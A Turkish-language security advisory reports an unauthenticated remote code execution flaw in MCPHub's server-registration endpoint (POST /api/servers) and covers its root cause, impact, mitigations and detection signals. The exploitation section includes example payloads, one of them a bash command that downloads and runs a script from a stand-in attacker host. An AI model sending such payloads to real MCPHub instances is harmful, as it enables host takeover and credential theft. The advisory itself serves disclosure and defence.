MCPHub Sunucu Kaydında Kimlik Doğrulamasız Uzaktan Kod Çalıştırma
Yayımlandı: 2026-04-16
Özet
Eresus Security, MCPHub <= 0.12.12 sürümlerini etkileyen kritik bir remote code execution zafiyeti tespit etti. Zafiyet, POST /api/servers üzerinden erişilen server-registration akışında bulunur. Saldırgan, keyfi command ve args değerleri sağlayarak MCPHub process'inin bu değerleri allowlist, sandbox veya validation olmadan child process olarak çalıştırmasına neden olabilir.
Zafiyetli endpoint erişilebilir durumdaysa bu problem, MCPHub process yetkileriyle host seviyesinde keyfi komut çalıştırma etkisine doğrudan dönüşebilir.
Etkilenen Bileşen
- Package:
mcphub(npm) - Etkilenen sürümler:
<= 0.12.12 - Patch durumu: yayın anında patch yok
- Advisory:
GHSA-9v37-w4j4-cfp4
Kök Neden
Problem iki alanda görülür:
src/controllers/serverController.tssrc/services/mcpService.ts
Zafiyetli sürümlerde server-creation handler, saldırgan kontrollü command ve args değerlerini saklar ve bunları doğrudan STDIO transport kurulumuna iletir. Bu transport sonunda process'i MCPHub host context'i içinde spawn eder; böylece ortam değişkenleri ve filesystem izinleri devralınır.
Neden Kritik?
Bu teorik bir injection problemi değildir. Server registration akışı, JSON konfigürasyonundan OS-level process creation davranışına doğrudan köprü kurar. Pratikte saldırgan şunları yapabilir:
- keyfi komut çalıştırabilir;
- diske dosya yazabilir;
- kalıcılık kurabilir;
- API key, token, SSH materyali veya cloud credential sızdırabilir;
- bağlı altyapıya pivot edebilir.
Host CI/CD, repository veya production secret erişimine sahipse blast radius tek servisten çıkıp supply-chain olayına dönüşebilir.
İstismar Yolu
Saldırgan aşağıdaki gibi zararlı bir server definition gönderebilir:
command: "touch"args: ["/tmp/PWNED_BY_ERESUS.txt"]
or
command: "bash"args: ["-c", "curl https://attacker.example/payload.sh | bash"]
Spawn edilen program geçerli bir MCP server olmasa ve bağlantı daha sonra başarısız olsa bile komut çoktan çalışmış olur.
Etki
Başarılı istismar şunlara izin verebilir:
- tam host compromise;
- environment variable ve local secret store içinden credential theft;
- cron, shell profile veya system service üzerinden kalıcılık;
- ransomware veya yıkıcı dosya değişiklikleri;
- cryptomining veya bot kurulumu;
- source code veya deployment artifact üzerinde downstream tampering.
Çözüm ve Azaltım
Vendor patch yayımlanana kadar kurumlar bu problemi acil giderilmesi gereken mimari risk olarak ele almalıdır:
- MCPHub administrative endpointlerinin public erişimi kaldırılmalıdır.
- Validation eklenene kadar server registration devre dışı bırakılmalı veya sıkı şekilde gate edilmelidir.
- MCPHub güçlü authentication ve network allowlist arkasına alınmalıdır.
- Servis minimum yetkiyle sandboxed veya izole ortamda çalıştırılmalıdır.
- Güvenilmeyen input üzerinden arbitrary STDIO server registration'a izin verilmemelidir.
- Etkilenmiş olabilecek hostlarda saklanan secret'lar rotate edilmelidir.
Tespit İçin Bakılacak Sinyaller
Şunlar incelenmelidir:
- son
POST /api/serversistekleri; - child process execution logları;
- service account altında şüpheli dosya oluşturma aktiviteleri;
- yeni persistence mekanizmaları veya değiştirilmiş shell initialization dosyaları.
Shell utility, scripting runtime veya package manager içeren beklenmeyen MCP server definition kayıtları yüksek sinyalli compromise göstergesi olarak ele alınmalıdır.
Kredi
Eresus Security Research Team tarafından raporlanmıştır.